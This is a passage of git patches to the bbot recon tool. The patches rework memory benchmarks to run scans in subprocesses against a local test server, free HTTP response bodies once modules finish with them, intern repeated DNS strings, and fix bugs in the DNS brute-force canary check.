-memory via tracemalloc. The key metric is `total_memory_mb` in extra_info, -which the benchmark report script picks up and displays as MB. - -Scanner construction is done outside the tracemalloc window because it -pulls in presets, module loading, and other heavy one-time setup that can -exceed 400 MB in a pytest process -- far more than the actual scan -- and -would set the tracemalloc peak before a single event is created. +Each benchmark launches a scan as a subprocess so tracemalloc measurements +are not contaminated by pytest's own allocations. The subprocess writes +peak memory (MB) to stdout, which the test reads and stores in +benchmark extra_info["total_memory_mb"]. """ -import gc -import asyncio -import threading -import tracemalloc -from http.server import HTTPServer, BaseHTTPRequestHandler +import subprocess +import sys import pytest -from bbot.scanner import Scanner - NUM_PAGES = 500 BODY_SIZE = 500_000 # 500 KB per page +SUBDOMAIN_ENUM_COUNT = 5000 + + +def _run_scan_subprocess(script: str) -> float: + """Run a scan script in a clean subprocess, return peak memory in MB.""" + result = subprocess.run( + [sys.executable, "-c", script], + capture_output=True, + text=True, + timeout=600, + ) + if result.returncode != 0: + raise RuntimeError(f"Scan subprocess failed:\n{result.stderr[-2000:]}") + for line in result.stdout.strip().splitlines(): + if line.startswith("PEAK_MB:"): + return float(line.split(":", 1)[1]) + raise RuntimeError(f"No PEAK_MB in subprocess output:\n{result.stdout[-2000:]}") + + +# --------------------------------------------------------------------------- +# 1) Web crawl -- httpx visits many pages, excavate processes bodies +# --------------------------------------------------------------------------- +_WEB_CRAWL_SCRIPT = """ +import gc, asyncio, threading, tracemalloc +from http.server import HTTPServer, BaseHTTPRequestHandler +from bbot.scanner import Scanner -class _BenchmarkHTTPHandler(BaseHTTPRequestHandler): - """Serves an index page linking to sub-pages with large bodies.""" +NUM_PAGES = NUM_PAGES_PLACEHOLDER +BODY_SIZE = BODY_SIZE_PLACEHOLDER +class H(BaseHTTPRequestHandler): def do_GET(self): if self.path == "/": - links = "".join(f'page{i}\n' for i in range(NUM_PAGES)) - body = f"{links}" + links = "".join(f'page{i}' for i in range(NUM_PAGES)) + body = "" + links + "" elif self.path.startswith("/page"): i = self.path.replace("/page", "") links = f'infodetails' - body = f"

    Page {i}

    {links}{'A' * BODY_SIZE}" + body = "

    Page " + i + "

    " + links + "A" * BODY_SIZE + "" elif self.path.startswith("/data"): body = "data endpoint" else: - self.send_response(404) - self.end_headers() - return + self.send_response(404); self.end_headers(); return self.send_response(200) self.send_header("Content-Type", "text/html") self.end_headers() self.wfile.write(body.encode()) - - def log_message(self, *args): - pass - - -def _start_server(): - server = HTTPServer(("127.0.0.1", 0), _BenchmarkHTTPHandler) - port = server.server_address[1] - threading.Thread(target=server.serve_forever, daemon=True).start() - return server, port - - -def _measure_peak(scan_factory, run_scan): - """Build the scanner untraced, then measure only scan execution memory.""" - # Phase 1: build the scanner (untraced) - scan, cleanup = scan_factory() - - # Phase 2: trace only the scan execution + def log_message(self, *a): pass + +server = HTTPServer(("127.0.0.1", 0), H) +port = server.server_address[1] +threading.Thread(target=server.serve_forever, daemon=True).start() + +scan = Scanner( + f"http://127.0.0.1:{port}/", + modules=["httpx"], output_modules=["python"], + config={ + "dns": {"disable": True}, + "scope": {"search_distance": 0}, + "web": {"spider_distance": 10, "spider_depth": 10, "spider_links_per_page": NUM_PAGES}, + "speculate": True, "excavate": True, "aggregate": False, "cloudcheck": False, + "modules": {"httpx": {"batch_size": 25}}, + }, + force_start=True, +) + +async def run(): + await scan._prep() gc.collect() if tracemalloc.is_tracing(): tracemalloc.stop() tracemalloc.start() - try: - asyncio.run(run_scan(scan)) - finally: - _, peak = tracemalloc.get_traced_memory() - tracemalloc.stop() - if cleanup: - cleanup() - return round(peak / 1024 / 1024, 2) - - -# --------------------------------------------------------------------------- -# 1) Web crawl -- httpx visits many pages, excavate processes bodies -# --------------------------------------------------------------------------- - - -def _web_crawl_factory(): - server, port = _start_server() - scan = Scanner( - f"http://127.0.0.1:{port}/", - modules=["httpx"], - output_modules=["python"], - config={ - "dns": {"disable": True}, - "scope": {"search_distance": 0}, - "web": {"spider_distance": 10, "spider_depth": 10, "spider_links_per_page": NUM_PAGES}, - "speculate": True, - "excavate": True, - "aggregate": False, - "cloudcheck": False, - "modules": {"httpx": {"batch_size": 25}}, - }, - force_start=True, - ) - return scan, server.shutdown - - -async def _web_crawl_run(scan): events = [] async for event in scan.async_start(): events.append(event) +asyncio.run(run()) +_, peak = tracemalloc.get_traced_memory() +tracemalloc.stop() +server.shutdown() +print(f"PEAK_MB:{round(peak / 1024 / 1024, 2)}") +""".replace("NUM_PAGES_PLACEHOLDER", str(NUM_PAGES)).replace("BODY_SIZE_PLACEHOLDER", str(BODY_SIZE)) + class TestWebCrawlMemory: """Measures peak memory during a realistic web crawl with large pages.""" @pytest.mark.benchmark(group="memory_scan_patterns") - def test_web_crawl(self, benchmark): - peak_mb = _measure_peak(_web_crawl_factory, _web_crawl_run) + def test_memory_use_web_crawl(self, benchmark): + peak_mb = _run_scan_subprocess(_WEB_CRAWL_SCRIPT) benchmark.extra_info["total_memory_mb"] = peak_mb benchmark.extra_info["num_pages"] = NUM_PAGES benchmark.pedantic(lambda: None, iterations=1, rounds=1, warmup_rounds=0) @@ -126,32 +115,32 @@ def test_web_crawl(self, benchmark): # 2) Subdomain enum -- many DNS_NAME events, no heavy bodies # --------------------------------------------------------------------------- -SUBDOMAIN_ENUM_COUNT = 5000 - - -def _subdomain_enum_factory(): - scan = Scanner( - "blacklanternsecurity.com", - modules=[], - output_modules=["python"], - config={ - "dns": {"disable": True}, - "scope": {"search_distance": 0}, - "web": {"spider_distance": 0, "spider_depth": 0}, - "speculate": False, - "excavate": True, - "aggregate": False, - "cloudcheck": False, - }, - force_start=True, - ) - return scan, None - +_SUBDOMAIN_ENUM_SCRIPT = """ +import gc, asyncio, tracemalloc +from bbot.scanner import Scanner -async def _subdomain_enum_run(scan): +SUBDOMAIN_ENUM_COUNT = SUBDOMAIN_COUNT_PLACEHOLDER + +scan = Scanner( + "blacklanternsecurity.com", + modules=[], output_modules=["python"], + config={ + "dns": {"disable": True}, + "scope": {"search_distance": 0}, + "web": {"spider_distance": 0, "spider_depth": 0}, + "speculate": False, "excavate": True, "aggregate": False, "cloudcheck": False, + }, + force_start=True, +) + +async def run(): + await scan._prep() + gc.collect() + if tracemalloc.is_tracing(): + tracemalloc.stop() + tracemalloc.start() events = [] injected = False - async for event in scan.async_start(): events.append(event) if event.type == "SCAN" and not injected: @@ -166,15 +155,19 @@ async def _subdomain_enum_run(scan): ) await scan.ingress_module.queue_event(dns_event, {}) - return events +asyncio.run(run()) +_, peak = tracemalloc.get_traced_memory() +tracemalloc.stop() +print(f"PEAK_MB:{round(peak / 1024 / 1024, 2)}") +""".replace("SUBDOMAIN_COUNT_PLACEHOLDER", str(SUBDOMAIN_ENUM_COUNT)) class TestSubdomainEnumMemory: """Measures peak memory during a large subdomain enumeration.""" @pytest.mark.benchmark(group="memory_scan_patterns") - def test_subdomain_enum(self, benchmark): - peak_mb = _measure_peak(_subdomain_enum_factory, _subdomain_enum_run) + def test_memory_use_subdomain_enum(self, benchmark): + peak_mb = _run_scan_subprocess(_SUBDOMAIN_ENUM_SCRIPT) benchmark.extra_info["total_memory_mb"] = peak_mb benchmark.extra_info["num_subdomains"] = SUBDOMAIN_ENUM_COUNT benchmark.pedantic(lambda: None, iterations=1, rounds=1, warmup_rounds=0) From e1e24ce105ca044c12bfb58c759eb8fe406454b3 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 31 Mar 2026 15:01:25 -0400 Subject: [PATCH 428/912] Run scan memory benchmarks as subprocesses for clean tracemalloc pytest's own allocations (~200 MB) contaminate tracemalloc peak measurements when scans run in-process, masking real differences between branches. Run each benchmark scan as a subprocess instead so measurements reflect only the scan's own memory use. Also rename tests to test_memory_use_* for clarity. --- bbot/test/benchmarks/test_scan_memory.py | 211 ++++++++++++----------- 1 file changed, 106 insertions(+), 105 deletions(-) diff --git a/bbot/test/benchmarks/test_scan_memory.py b/bbot/test/benchmarks/test_scan_memory.py index 82c236edff..b9b30cf8fe 100644 --- a/bbot/test/benchmarks/test_scan_memory.py +++ b/bbot/test/benchmarks/test_scan_memory.py @@ -9,6 +9,7 @@ import subprocess import sys +import textwrap import pytest @@ -38,66 +39,66 @@ def _run_scan_subprocess(script: str) -> float: # 1) Web crawl -- httpx visits many pages, excavate processes bodies # --------------------------------------------------------------------------- -_WEB_CRAWL_SCRIPT = """ -import gc, asyncio, threading, tracemalloc -from http.server import HTTPServer, BaseHTTPRequestHandler -from bbot.scanner import Scanner - -NUM_PAGES = NUM_PAGES_PLACEHOLDER -BODY_SIZE = BODY_SIZE_PLACEHOLDER - -class H(BaseHTTPRequestHandler): - def do_GET(self): - if self.path == "/": - links = "".join(f'page{i}' for i in range(NUM_PAGES)) - body = "" + links + "" - elif self.path.startswith("/page"): - i = self.path.replace("/page", "") - links = f'infodetails' - body = "

    Page " + i + "

    " + links + "A" * BODY_SIZE + "" - elif self.path.startswith("/data"): - body = "data endpoint" - else: - self.send_response(404); self.end_headers(); return - self.send_response(200) - self.send_header("Content-Type", "text/html") - self.end_headers() - self.wfile.write(body.encode()) - def log_message(self, *a): pass - -server = HTTPServer(("127.0.0.1", 0), H) -port = server.server_address[1] -threading.Thread(target=server.serve_forever, daemon=True).start() - -scan = Scanner( - f"http://127.0.0.1:{port}/", - modules=["httpx"], output_modules=["python"], - config={ - "dns": {"disable": True}, - "scope": {"search_distance": 0}, - "web": {"spider_distance": 10, "spider_depth": 10, "spider_links_per_page": NUM_PAGES}, - "speculate": True, "excavate": True, "aggregate": False, "cloudcheck": False, - "modules": {"httpx": {"batch_size": 25}}, - }, - force_start=True, -) - -async def run(): - await scan._prep() - gc.collect() - if tracemalloc.is_tracing(): - tracemalloc.stop() - tracemalloc.start() - events = [] - async for event in scan.async_start(): - events.append(event) - -asyncio.run(run()) -_, peak = tracemalloc.get_traced_memory() -tracemalloc.stop() -server.shutdown() -print(f"PEAK_MB:{round(peak / 1024 / 1024, 2)}") -""".replace("NUM_PAGES_PLACEHOLDER", str(NUM_PAGES)).replace("BODY_SIZE_PLACEHOLDER", str(BODY_SIZE)) +_WEB_CRAWL_SCRIPT = textwrap.dedent(f"""\ + import gc, asyncio, threading, tracemalloc + from http.server import HTTPServer, BaseHTTPRequestHandler + from bbot.scanner import Scanner + + NUM_PAGES = {NUM_PAGES} + BODY_SIZE = {BODY_SIZE} + + class H(BaseHTTPRequestHandler): + def do_GET(self): + if self.path == "/": + links = "".join(f'page{{i}}' for i in range(NUM_PAGES)) + body = f"{{links}}" + elif self.path.startswith("/page"): + i = self.path.replace("/page", "") + links = f'infodetails' + body = f"

    Page {{i}}

    {{links}}{{"A" * BODY_SIZE}}" + elif self.path.startswith("/data"): + body = "data endpoint" + else: + self.send_response(404); self.end_headers(); return + self.send_response(200) + self.send_header("Content-Type", "text/html") + self.end_headers() + self.wfile.write(body.encode()) + def log_message(self, *a): pass + + server = HTTPServer(("127.0.0.1", 0), H) + port = server.server_address[1] + threading.Thread(target=server.serve_forever, daemon=True).start() + + scan = Scanner( + f"http://127.0.0.1:{{port}}/", + modules=["httpx"], output_modules=["python"], + config={{ + "dns": {{"disable": True}}, + "scope": {{"search_distance": 0}}, + "web": {{"spider_distance": 10, "spider_depth": 10, "spider_links_per_page": NUM_PAGES}}, + "speculate": True, "excavate": True, "aggregate": False, "cloudcheck": False, + "modules": {{"httpx": {{"batch_size": 25}}}}, + }}, + force_start=True, + ) + + async def run(): + await scan._prep() + gc.collect() + if tracemalloc.is_tracing(): + tracemalloc.stop() + tracemalloc.start() + events = [] + async for event in scan.async_start(): + events.append(event) + + asyncio.run(run()) + _, peak = tracemalloc.get_traced_memory() + tracemalloc.stop() + server.shutdown() + print(f"PEAK_MB:{{round(peak / 1024 / 1024, 2)}}") +""") class TestWebCrawlMemory: @@ -115,51 +116,51 @@ def test_memory_use_web_crawl(self, benchmark): # 2) Subdomain enum -- many DNS_NAME events, no heavy bodies # --------------------------------------------------------------------------- -_SUBDOMAIN_ENUM_SCRIPT = """ -import gc, asyncio, tracemalloc -from bbot.scanner import Scanner - -SUBDOMAIN_ENUM_COUNT = SUBDOMAIN_COUNT_PLACEHOLDER - -scan = Scanner( - "blacklanternsecurity.com", - modules=[], output_modules=["python"], - config={ - "dns": {"disable": True}, - "scope": {"search_distance": 0}, - "web": {"spider_distance": 0, "spider_depth": 0}, - "speculate": False, "excavate": True, "aggregate": False, "cloudcheck": False, - }, - force_start=True, -) - -async def run(): - await scan._prep() - gc.collect() - if tracemalloc.is_tracing(): - tracemalloc.stop() - tracemalloc.start() - events = [] - injected = False - async for event in scan.async_start(): - events.append(event) - if event.type == "SCAN" and not injected: - injected = True - root_event = scan.root_event - for i in range(SUBDOMAIN_ENUM_COUNT): - dns_event = scan.make_event( - f"sub{i}.blacklanternsecurity.com", - "DNS_NAME", - parent=root_event, - context=f"benchmark DNS_NAME {i}", - ) - await scan.ingress_module.queue_event(dns_event, {}) - -asyncio.run(run()) -_, peak = tracemalloc.get_traced_memory() -tracemalloc.stop() -print(f"PEAK_MB:{round(peak / 1024 / 1024, 2)}") -""".replace("SUBDOMAIN_COUNT_PLACEHOLDER", str(SUBDOMAIN_ENUM_COUNT)) +_SUBDOMAIN_ENUM_SCRIPT = textwrap.dedent(f"""\ + import gc, asyncio, tracemalloc + from bbot.scanner import Scanner + + SUBDOMAIN_ENUM_COUNT = {SUBDOMAIN_ENUM_COUNT} + + scan = Scanner( + "blacklanternsecurity.com", + modules=[], output_modules=["python"], + config={{ + "dns": {{"disable": True}}, + "scope": {{"search_distance": 0}}, + "web": {{"spider_distance": 0, "spider_depth": 0}}, + "speculate": False, "excavate": True, "aggregate": False, "cloudcheck": False, + }}, + force_start=True, + ) + + async def run(): + await scan._prep() + gc.collect() + if tracemalloc.is_tracing(): + tracemalloc.stop() + tracemalloc.start() + events = [] + injected = False + async for event in scan.async_start(): + events.append(event) + if event.type == "SCAN" and not injected: + injected = True + root_event = scan.root_event + for i in range(SUBDOMAIN_ENUM_COUNT): + dns_event = scan.make_event( + f"sub{{i}}.blacklanternsecurity.com", + "DNS_NAME", + parent=root_event, + context=f"benchmark DNS_NAME {{i}}", + ) + await scan.ingress_module.queue_event(dns_event, {{}}) + + asyncio.run(run()) + _, peak = tracemalloc.get_traced_memory() + tracemalloc.stop() + print(f"PEAK_MB:{{round(peak / 1024 / 1024, 2)}}") +""") class TestSubdomainEnumMemory: From 38db27ecdbe592c45bc99b5cd0204d17ff133908 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 31 Mar 2026 09:53:12 -0400 Subject: [PATCH 429/912] Strip HTTP response bodies after all modules finish processing (refcount-based) --- bbot/core/event/base.py | 26 +++ bbot/modules/base.py | 56 +++--- bbot/scanner/manager.py | 4 + bbot/test/benchmarks/test_scan_memory.py | 211 +++++++++++------------ 4 files changed, 168 insertions(+), 129 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 4e386b5740..3d047fb8dc 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -164,6 +164,8 @@ class BaseEvent: "dns_resolve_distance", # Host metadata (cloud providers, ASN, whois, etc.) "_host_metadata", + # Memory management + "_module_consumers", # Public attributes "module", "scan", @@ -224,6 +226,7 @@ def __init__( self.dns_children = {} self.raw_dns_records = {} self._discovery_context = "" + self._module_consumers = 0 # for creating one-off events without enforcing parent requirement self._dummy = _dummy @@ -689,6 +692,29 @@ def get_parents(self, omit=False, include_self=False): e = parent return parents + def _release(self): + """ + Called when a module is done processing this event. + + Decrements the consumer count. When no modules are left waiting to + process this event, heavy payload data (e.g. HTTP response bodies) + is stripped to free memory. + """ + self._module_consumers = max(0, self._module_consumers - 1) + if self._module_consumers <= 0: + self._minimize() + + def _minimize(self): + """ + Strip heavy payload data from the event to free memory. + + The event object stays alive (for parent-chain references, etc.) + but large fields like HTTP response bodies and raw headers are removed. + """ + if isinstance(self._data, dict): + self._data.pop("body", None) + self._data.pop("raw_header", None) + def clone(self): # Create a shallow copy of the event first cloned_event = copy(self) diff --git a/bbot/modules/base.py b/bbot/modules/base.py index f28ae8af88..dbbef3422e 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -494,6 +494,9 @@ async def _handle_batch(self): await self.run_task(self.handle_batch(*events), context, n=len(events)) except asyncio.CancelledError: self.debug(f"{context} was cancelled") + finally: + for event in events: + event._release() self.verbose(f"Finished handling batch of {len(events):,} events") if finish: context = f"{self.name}.finish()" @@ -663,11 +666,14 @@ async def _events_waiting(self, batch_size=None): if acceptable: if event.type == "FINISHED": finish = True + event._release() else: events.append(event) self.scan.stats.event_consumed(event, self) - elif reason: - self.debug(f"Not accepting {event} because {reason}") + else: + event._release() + if reason: + self.debug(f"Not accepting {event} because {reason}") except asyncio.queues.QueueEmpty: break return events, finish @@ -761,28 +767,31 @@ async def _worker(self): except asyncio.queues.QueueEmpty: continue self.debug(f"Got {event} from {getattr(event, 'module', 'unknown_module')}") - async with self._task_counter.count(f"event_postcheck({event})"): - acceptable, reason = await self._event_postcheck(event) - if acceptable: - if event.type == "FINISHED": - context = f"{self.name}.finish()" - try: - await self.run_task(self.finish(), context) - except asyncio.CancelledError: - self.debug(f"{context} was cancelled") - continue + try: + async with self._task_counter.count(f"event_postcheck({event})"): + acceptable, reason = await self._event_postcheck(event) + if acceptable: + if event.type == "FINISHED": + context = f"{self.name}.finish()" + try: + await self.run_task(self.finish(), context) + except asyncio.CancelledError: + self.debug(f"{context} was cancelled") + continue + else: + context = f"{self.name}.handle_event({event})" + self.scan.stats.event_consumed(event, self) + self.debug(f"Handling {event}") + try: + await self.run_task(self.handle_event(event), context) + except asyncio.CancelledError: + self.debug(f"{context} was cancelled") + continue + self.debug(f"Finished handling {event}") else: - context = f"{self.name}.handle_event({event})" - self.scan.stats.event_consumed(event, self) - self.debug(f"Handling {event}") - try: - await self.run_task(self.handle_event(event), context) - except asyncio.CancelledError: - self.debug(f"{context} was cancelled") - continue - self.debug(f"Finished handling {event}") - else: - self.debug(f"Not accepting {event} because {reason}") + self.debug(f"Not accepting {event} because {reason}") + finally: + event._release() except asyncio.CancelledError: # this trace was used for debugging leaked CancelledErrors from inside httpx # self.log.trace("Worker cancelled") @@ -1022,6 +1031,7 @@ async def queue_event(self, event): self.debug(f"Queueing {event} because {reason}") try: self.incoming_event_queue.put_nowait(event) + event._module_consumers += 1 async with self.event_received: self.event_received.notify() if event.type != "FINISHED": diff --git a/bbot/scanner/manager.py b/bbot/scanner/manager.py index e7f92f0420..0ad7f59c85 100644 --- a/bbot/scanner/manager.py +++ b/bbot/scanner/manager.py @@ -271,3 +271,7 @@ async def forward_event(self, event, kwargs): # don't distribute events to intercept modules if not mod._intercept: await mod.queue_event(event) + + # if no module accepted this event, minimize it now + if event._module_consumers <= 0: + event._minimize() diff --git a/bbot/test/benchmarks/test_scan_memory.py b/bbot/test/benchmarks/test_scan_memory.py index b9b30cf8fe..82c236edff 100644 --- a/bbot/test/benchmarks/test_scan_memory.py +++ b/bbot/test/benchmarks/test_scan_memory.py @@ -9,7 +9,6 @@ import subprocess import sys -import textwrap import pytest @@ -39,66 +38,66 @@ def _run_scan_subprocess(script: str) -> float: # 1) Web crawl -- httpx visits many pages, excavate processes bodies # --------------------------------------------------------------------------- -_WEB_CRAWL_SCRIPT = textwrap.dedent(f"""\ - import gc, asyncio, threading, tracemalloc - from http.server import HTTPServer, BaseHTTPRequestHandler - from bbot.scanner import Scanner - - NUM_PAGES = {NUM_PAGES} - BODY_SIZE = {BODY_SIZE} - - class H(BaseHTTPRequestHandler): - def do_GET(self): - if self.path == "/": - links = "".join(f'page{{i}}' for i in range(NUM_PAGES)) - body = f"{{links}}" - elif self.path.startswith("/page"): - i = self.path.replace("/page", "") - links = f'infodetails' - body = f"

    Page {{i}}

    {{links}}{{"A" * BODY_SIZE}}" - elif self.path.startswith("/data"): - body = "data endpoint" - else: - self.send_response(404); self.end_headers(); return - self.send_response(200) - self.send_header("Content-Type", "text/html") - self.end_headers() - self.wfile.write(body.encode()) - def log_message(self, *a): pass - - server = HTTPServer(("127.0.0.1", 0), H) - port = server.server_address[1] - threading.Thread(target=server.serve_forever, daemon=True).start() - - scan = Scanner( - f"http://127.0.0.1:{{port}}/", - modules=["httpx"], output_modules=["python"], - config={{ - "dns": {{"disable": True}}, - "scope": {{"search_distance": 0}}, - "web": {{"spider_distance": 10, "spider_depth": 10, "spider_links_per_page": NUM_PAGES}}, - "speculate": True, "excavate": True, "aggregate": False, "cloudcheck": False, - "modules": {{"httpx": {{"batch_size": 25}}}}, - }}, - force_start=True, - ) - - async def run(): - await scan._prep() - gc.collect() - if tracemalloc.is_tracing(): - tracemalloc.stop() - tracemalloc.start() - events = [] - async for event in scan.async_start(): - events.append(event) - - asyncio.run(run()) - _, peak = tracemalloc.get_traced_memory() - tracemalloc.stop() - server.shutdown() - print(f"PEAK_MB:{{round(peak / 1024 / 1024, 2)}}") -""") +_WEB_CRAWL_SCRIPT = """ +import gc, asyncio, threading, tracemalloc +from http.server import HTTPServer, BaseHTTPRequestHandler +from bbot.scanner import Scanner + +NUM_PAGES = NUM_PAGES_PLACEHOLDER +BODY_SIZE = BODY_SIZE_PLACEHOLDER + +class H(BaseHTTPRequestHandler): + def do_GET(self): + if self.path == "/": + links = "".join(f'page{i}' for i in range(NUM_PAGES)) + body = "" + links + "" + elif self.path.startswith("/page"): + i = self.path.replace("/page", "") + links = f'infodetails' + body = "

    Page " + i + "

    " + links + "A" * BODY_SIZE + "" + elif self.path.startswith("/data"): + body = "data endpoint" + else: + self.send_response(404); self.end_headers(); return + self.send_response(200) + self.send_header("Content-Type", "text/html") + self.end_headers() + self.wfile.write(body.encode()) + def log_message(self, *a): pass + +server = HTTPServer(("127.0.0.1", 0), H) +port = server.server_address[1] +threading.Thread(target=server.serve_forever, daemon=True).start() + +scan = Scanner( + f"http://127.0.0.1:{port}/", + modules=["httpx"], output_modules=["python"], + config={ + "dns": {"disable": True}, + "scope": {"search_distance": 0}, + "web": {"spider_distance": 10, "spider_depth": 10, "spider_links_per_page": NUM_PAGES}, + "speculate": True, "excavate": True, "aggregate": False, "cloudcheck": False, + "modules": {"httpx": {"batch_size": 25}}, + }, + force_start=True, +) + +async def run(): + await scan._prep() + gc.collect() + if tracemalloc.is_tracing(): + tracemalloc.stop() + tracemalloc.start() + events = [] + async for event in scan.async_start(): + events.append(event) + +asyncio.run(run()) +_, peak = tracemalloc.get_traced_memory() +tracemalloc.stop() +server.shutdown() +print(f"PEAK_MB:{round(peak / 1024 / 1024, 2)}") +""".replace("NUM_PAGES_PLACEHOLDER", str(NUM_PAGES)).replace("BODY_SIZE_PLACEHOLDER", str(BODY_SIZE)) class TestWebCrawlMemory: @@ -116,51 +115,51 @@ def test_memory_use_web_crawl(self, benchmark): # 2) Subdomain enum -- many DNS_NAME events, no heavy bodies # --------------------------------------------------------------------------- -_SUBDOMAIN_ENUM_SCRIPT = textwrap.dedent(f"""\ - import gc, asyncio, tracemalloc - from bbot.scanner import Scanner - - SUBDOMAIN_ENUM_COUNT = {SUBDOMAIN_ENUM_COUNT} - - scan = Scanner( - "blacklanternsecurity.com", - modules=[], output_modules=["python"], - config={{ - "dns": {{"disable": True}}, - "scope": {{"search_distance": 0}}, - "web": {{"spider_distance": 0, "spider_depth": 0}}, - "speculate": False, "excavate": True, "aggregate": False, "cloudcheck": False, - }}, - force_start=True, - ) - - async def run(): - await scan._prep() - gc.collect() - if tracemalloc.is_tracing(): - tracemalloc.stop() - tracemalloc.start() - events = [] - injected = False - async for event in scan.async_start(): - events.append(event) - if event.type == "SCAN" and not injected: - injected = True - root_event = scan.root_event - for i in range(SUBDOMAIN_ENUM_COUNT): - dns_event = scan.make_event( - f"sub{{i}}.blacklanternsecurity.com", - "DNS_NAME", - parent=root_event, - context=f"benchmark DNS_NAME {{i}}", - ) - await scan.ingress_module.queue_event(dns_event, {{}}) - - asyncio.run(run()) - _, peak = tracemalloc.get_traced_memory() - tracemalloc.stop() - print(f"PEAK_MB:{{round(peak / 1024 / 1024, 2)}}") -""") +_SUBDOMAIN_ENUM_SCRIPT = """ +import gc, asyncio, tracemalloc +from bbot.scanner import Scanner + +SUBDOMAIN_ENUM_COUNT = SUBDOMAIN_COUNT_PLACEHOLDER + +scan = Scanner( + "blacklanternsecurity.com", + modules=[], output_modules=["python"], + config={ + "dns": {"disable": True}, + "scope": {"search_distance": 0}, + "web": {"spider_distance": 0, "spider_depth": 0}, + "speculate": False, "excavate": True, "aggregate": False, "cloudcheck": False, + }, + force_start=True, +) + +async def run(): + await scan._prep() + gc.collect() + if tracemalloc.is_tracing(): + tracemalloc.stop() + tracemalloc.start() + events = [] + injected = False + async for event in scan.async_start(): + events.append(event) + if event.type == "SCAN" and not injected: + injected = True + root_event = scan.root_event + for i in range(SUBDOMAIN_ENUM_COUNT): + dns_event = scan.make_event( + f"sub{i}.blacklanternsecurity.com", + "DNS_NAME", + parent=root_event, + context=f"benchmark DNS_NAME {i}", + ) + await scan.ingress_module.queue_event(dns_event, {}) + +asyncio.run(run()) +_, peak = tracemalloc.get_traced_memory() +tracemalloc.stop() +print(f"PEAK_MB:{round(peak / 1024 / 1024, 2)}") +""".replace("SUBDOMAIN_COUNT_PLACEHOLDER", str(SUBDOMAIN_ENUM_COUNT)) class TestSubdomainEnumMemory: From c6d6ac41f0f8c72e7112db78ae3f68626963e48e Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 31 Mar 2026 16:51:33 -0400 Subject: [PATCH 430/912] Intern repeated strings in resolved_hosts and dns_children IP addresses and DNS record type strings (A, AAAA, CNAME, etc.) repeat heavily across events. sys.intern() deduplicates them so all events sharing the same IPs/rdtypes reference the same string object, reducing memory ~10-30% on those fields. --- bbot/modules/gowitness.py | 3 ++- bbot/modules/httpx.py | 3 ++- bbot/modules/internal/dnsresolve.py | 6 +++++- 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/bbot/modules/gowitness.py b/bbot/modules/gowitness.py index 5d0538d834..b26018d58c 100644 --- a/bbot/modules/gowitness.py +++ b/bbot/modules/gowitness.py @@ -1,4 +1,5 @@ import os +import sys import asyncio import aiosqlite import multiprocessing @@ -243,7 +244,7 @@ async def handle_batch(self, *events): context=f"{{module}} visited {{event.type}}: {url}", ) if url_event and ip: - url_event._resolved_hosts.add(ip) + url_event._resolved_hosts.add(sys.intern(ip)) await self.emit_event(url_event) # emit technologies diff --git a/bbot/modules/httpx.py b/bbot/modules/httpx.py index 628ef4bb66..dd996a2b58 100644 --- a/bbot/modules/httpx.py +++ b/bbot/modules/httpx.py @@ -1,4 +1,5 @@ import re +import sys import orjson import tempfile import subprocess @@ -200,7 +201,7 @@ async def handle_batch(self, *events): if url_event: httpx_ip = j.get("host", "") if httpx_ip: - url_event._resolved_hosts.add(httpx_ip) + url_event._resolved_hosts.add(sys.intern(httpx_ip)) url_event.data["status_code"] = status_code title = j.get("title", "") if title: diff --git a/bbot/modules/internal/dnsresolve.py b/bbot/modules/internal/dnsresolve.py index 680cedc605..f23a3bea76 100644 --- a/bbot/modules/internal/dnsresolve.py +++ b/bbot/modules/internal/dnsresolve.py @@ -1,3 +1,4 @@ +import sys import ipaddress from contextlib import suppress @@ -231,7 +232,7 @@ def check_scope(self, event): for rdtype in ("A", "AAAA", "CNAME"): hosts = dns_children.get(rdtype, []) # update resolved hosts - event.resolved_hosts.update(hosts) + event.resolved_hosts.update(sys.intern(h) for h in hosts) for host in hosts: # having a CNAME to an in-scope host doesn't make you in-scope if rdtype != "CNAME": @@ -258,6 +259,7 @@ async def resolve_event(self, event, types): queries = [(event_host, rdtype) for rdtype in types] dns_errors = {} async for (query, rdtype), (answers, errors) in self.helpers.dns.resolve_raw_batch(queries): + rdtype = sys.intern(rdtype) # errors try: dns_errors[rdtype].update(errors) @@ -272,6 +274,8 @@ async def resolve_event(self, event, types): event.raw_dns_records[rdtype] = {answer} # hosts for _rdtype, host in extract_targets(answer): + _rdtype = sys.intern(_rdtype) + host = sys.intern(host) try: event.dns_children[_rdtype].add(host) except KeyError: From c5423417f6f0421d9e9f2ef96522986588800b30 Mon Sep 17 00:00:00 2001 From: Aconite33 Date: Tue, 31 Mar 2026 12:13:54 -0600 Subject: [PATCH 431/912] fix three bugs in DNS brute-force canary check (#3004) The canary-based false-positive detection in brute.py was completely non-functional due to three bugs: 1. Exhausted generator: `canaries` generator was consumed by `list()` but then used for `in` membership checks, which always returned False. Fixed by using a set built from the list. 2. Trailing dot: `hostname.split(domain)[0]` produces a trailing dot (e.g. "sub.") that never matches canary strings. Fixed by stripping the trailing dot. 3. Variable shadowing: the `for domain, rdtypes in ...` loop overwrote the `domain` function parameter, corrupting the abort log message. Fixed by renaming the loop variable. --- bbot/core/helpers/dns/brute.py | 10 ++-- bbot/test/test_step_1/test_dns.py | 78 +++++++++++++++++++++++++++++++ 2 files changed, 83 insertions(+), 5 deletions(-) diff --git a/bbot/core/helpers/dns/brute.py b/bbot/core/helpers/dns/brute.py index 71424c5a87..d243073a18 100644 --- a/bbot/core/helpers/dns/brute.py +++ b/bbot/core/helpers/dns/brute.py @@ -49,7 +49,7 @@ async def dnsbrute(self, module, domain, subdomains, type=None): wildcard_domains = await self.parent_helper.dns.is_wildcard_domain(domain, (type, "CNAME")) wildcard_rdtypes = set() - for domain, rdtypes in wildcard_domains.items(): + for wildcard_domain, rdtypes in wildcard_domains.items(): wildcard_rdtypes.update(rdtypes) if wildcard_domains: self.log.hugewarning( @@ -57,8 +57,8 @@ async def dnsbrute(self, module, domain, subdomains, type=None): ) return [] - canaries = self.gen_random_subdomains(self.num_canaries) - canaries_list = list(canaries) + canaries_list = list(self.gen_random_subdomains(self.num_canaries)) + canary_set = set(canaries_list) 